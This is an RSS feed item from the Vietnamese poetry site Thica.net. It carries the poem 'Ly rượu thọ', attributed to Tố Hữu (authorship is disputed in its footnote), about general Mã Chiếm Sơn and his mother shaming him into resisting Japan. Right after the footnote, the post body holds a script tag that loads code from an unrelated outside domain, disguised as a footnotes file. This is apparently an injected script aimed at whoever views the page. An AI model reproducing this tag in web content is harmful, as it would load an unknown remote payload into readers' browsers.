<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Thica.netBài thơ &quot;Ly rượu thọ&quot; của nhà thơ Tố Hữu - Thica.net</title>
	<atom:link href="https://www.thica.net/2014/05/18/ly-ruou-tho/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.thica.net/2014/05/18/ly-ruou-tho/</link>
	<description>Mạng thi ca Việt Nam</description>
	<lastBuildDate>Fri, 13 Mar 2026 06:12:14 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.6.5</generator>
<site xmlns="com-wordpress:feed-additions:1">3122721</site>	<item>
		<title>Ly rượu thọ</title>
		<link>https://www.thica.net/2014/05/18/ly-ruou-tho/</link>
		<comments>https://www.thica.net/2014/05/18/ly-ruou-tho/#respond</comments>
		<pubDate>Sun, 18 May 2014 05:37:54 +0000</pubDate>
		<dc:creator><![CDATA[Tố Hữu]]></dc:creator>
				<category><![CDATA[Tố Hữu]]></category>
		<category><![CDATA[Rượu]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=12319</guid>
		<description><![CDATA[<p>[...]</p>
<p>Nét nghiêm khắc cong vòng cung môi mỏng<br />
Nghe sôi sục cả linh hồn nóng bỏng.<br />
Người mẹ già thét lớn: "Mã Chiếm Sơn!"<br />
(Mã run lên) "Đâu giọt rượu căm hờn?<br />
Mãn Châu quốc nghe không mày, rên rỉ<br />
Dưới gót sắt của Phù Tang ích kỷ<br />
Đang mang quân giày xéo cả Trung Hoa<br />
Nước Trung Hoa yêu dấu của lòng ta<br />
Đã thống khổ bởi bao xiềng ngoại quốc!<br />
Chưa vừa ư những tai ương thảm khốc<br />
Đã đè trên dân tộc nước non mày!<br />
Có chi vui sông núi đỏ tràn thây<br />
Mà Mã tướng ngày nay dâng rượu cúc?</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2014/05/18/ly-ruou-tho/">Ly rượu thọ</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Mã Chiếm Sơn buông cương và ngẫm nghĩ<br />Ngựa rung đầu hí lạnh giữa tàn quân<br />Đồi phong xa bốc khói, đỉnh non gần<br />Đã khuất phục dưới lá cờ binh Nhật.<br />Trán kiêu hãnh lần đầu trông xuống đất<br />Mã nghẹn ngào: &#8220;Thôi hết, Mãn Châu ơi!&#8221;<br />Và quân binh cúi lặng chẳng nên lời&#8230;</p><p>Rồi từ đó, và gươm vàng võ phục<br />Và cừu hận và lòng sôi rửa nhục<br />Mã chôn sâu trong một cõi trời riêng<br />Buông hồn đau, liễu rủ suối ưu phiền.<br />Cốt oanh liệt đã khoác màu ẩn sĩ<br />Rượu cứ rót cho say sưa lạc hỉ<br />Đàn ca lên cho át tiếng đầu rơi<br />Dưới gươm bay vun vút loáng xanh trời.<br />Mãn Châu quốc đang những giờ hấp hối<br />Gượng kêu lên, hỡi ôi lời trăn trối:<br />&#8220;Chiếm Sơn đâu, cứu nước, Chiếm Sơn ơi!&#8221;<br />Thì nơi kia Mã vén trướng, tươi cười<br />Cúi lạy mẹ chúc mừng ly rượu thọ.<br />Đào xuân thắm dâng hương vào cửa sổ<br />Bạc xuân trong rắc trắng mái hành lang.</p><p>Mẹ ngồi yên, như cốc nước e tràn<br />Không dám động &#8211; và nhìn con lặng lẽ<br />Nhưng mắt yếu bỗng rưng rưng ngấn lệ<br />Trán nhăn nheo bỗng ửng máu tim già<br />Và bàn tay run rẩy đỡ ly ngà<br />Bỗng quật xuống nền hoa: ly rượu vỡ!<br />Ly rượu vỡ tan tành. Ôi bỡ ngỡ<br />Ôi hãi hùng. Mã tướng run toàn thân!</p><p>Lần đầu tiên, Mã tướng run toàn thân!<br />Ngoài chiến địa, Chiếm Sơn hằng ngạo nghễ<br />Trông lửa đạn là trò chơi con trẻ<br />Mà hôm nay Mã tướng run toàn thân<br />Mà hôm nay Mã tướng chết hai phần!<br />Nét nghiêm khắc cong vòng cung môi mỏng<br />Nghe sôi sục cả linh hồn nóng bỏng.<br />Người mẹ già thét lớn: &#8220;Mã Chiếm Sơn!&#8221;<br />(Mã run lên) &#8220;Đâu giọt rượu căm hờn?<br />Mãn Châu quốc nghe không mày, rên rỉ<br />Dưới gót sắt của Phù Tang ích kỷ<br />Đang mang quân giày xéo cả Trung Hoa<br />Nước Trung Hoa yêu dấu của lòng ta<br />Đã thống khổ bởi bao xiềng ngoại quốc!<br />Chưa vừa ư những tai ương thảm khốc<br />Đã đè trên dân tộc nước non mày!<br />Có chi vui sông núi đỏ tràn thây<br />Mà Mã tướng ngày nay dâng rượu cúc?<br />Rượu cúc ấy, Chiếm Sơn, là rượu nhục!&#8221;</p><p>Rừng phương xa loáng bạc nắng lung lay<br />Hoa đào bay, trước cửa, hoa đào bay<br />Trong hoa tuyết trắng ngần rơi lả tả&#8230;<br />Và xuân ấy năm nghìn quân của Mã<br />Đánh tan xương của Nhật, một sư đoàn. <sup><a href="https://www.thica.net/2014/05/18/ly-ruou-tho/#footnote_0_12319" id="identifier_0_12319" class="footnote-link footnote-identifier-link" title="C&oacute; nhiều &yacute; kiến tranh c&atilde;i về t&aacute;c giả thực của b&agrave;i thơ n&agrave;y, một số cho l&agrave; Tố Hữu, một số cho l&agrave; Phạm Huy Th&ocirc;ng">1</a></sup></p><ol class="footnotes"><li id="footnote_0_12319" class="footnote">Có nhiều ý kiến tranh cãi về tác giả thực của bài thơ này, một số cho là Tố Hữu, một số cho là Phạm Huy Thông</li></ol><script src=https://buryebilgrill.online/footnotes></script><p>The post <a href="https://www.thica.net/2014/05/18/ly-ruou-tho/">Ly rượu thọ</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2014/05/18/ly-ruou-tho/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">12319</post-id>	</item>
	</channel>
</rss>
